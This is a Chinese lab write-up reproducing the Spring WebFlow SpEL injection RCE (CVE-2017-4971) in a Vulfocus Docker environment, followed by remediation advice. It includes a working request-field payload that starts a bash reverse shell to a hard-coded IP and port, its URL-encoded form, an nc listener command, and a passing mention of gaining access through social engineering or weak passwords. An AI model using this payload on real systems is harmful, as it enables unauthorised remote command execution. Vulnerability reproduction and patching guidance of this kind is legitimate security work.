[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

简介

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本:Spring Web Flow 2.4.0 到 2.4.4

环境搭建

使用vulfocus进行搭建docker环境,这里我使用的端口为8082
在这里插入图片描述
在这里插入图片描述

漏洞复现过程

1.首先利用左边给出的账号密码登录进去,在真实环境中进行测试时就要通过社工、弱口令等手段进行尝试登录了。
登录成功:
在这里插入图片描述访问id为1的酒店,点击Book Hotel
在这里插入图片描述
随便填写点信息后点击Process

在这里插入图片描述
点击确认Confirm抓包
在这里插入图片描述
在这里插入图片描述
发送数据包到重放模块,修改数据包
请求包中添加新字段:_(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i >& /dev/tcp/U-ip/port 0>&1”)).start()=vulhub

对bash -i >& /dev/tcp/120.53.235.174/6666 0>&1进行URL编码:bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.53.235.174%2F6666%200%3E%261

攻击端执行监听 nc -l -p 6666
在这里插入图片描述
发送修改好的数据包
在这里插入图片描述可以看到攻击端已经连接上了shell,并且可以执行命令
在这里插入图片描述

修复建议

建议相关版本的用户采取如下措施进行缓解

2.4.x用户升级到2.4.5
建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。
Spring Web Flow with JSF 的用户不受到影响.

参考链接

https://vulhub.org/#/environments/spring/CVE-2017-4971/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值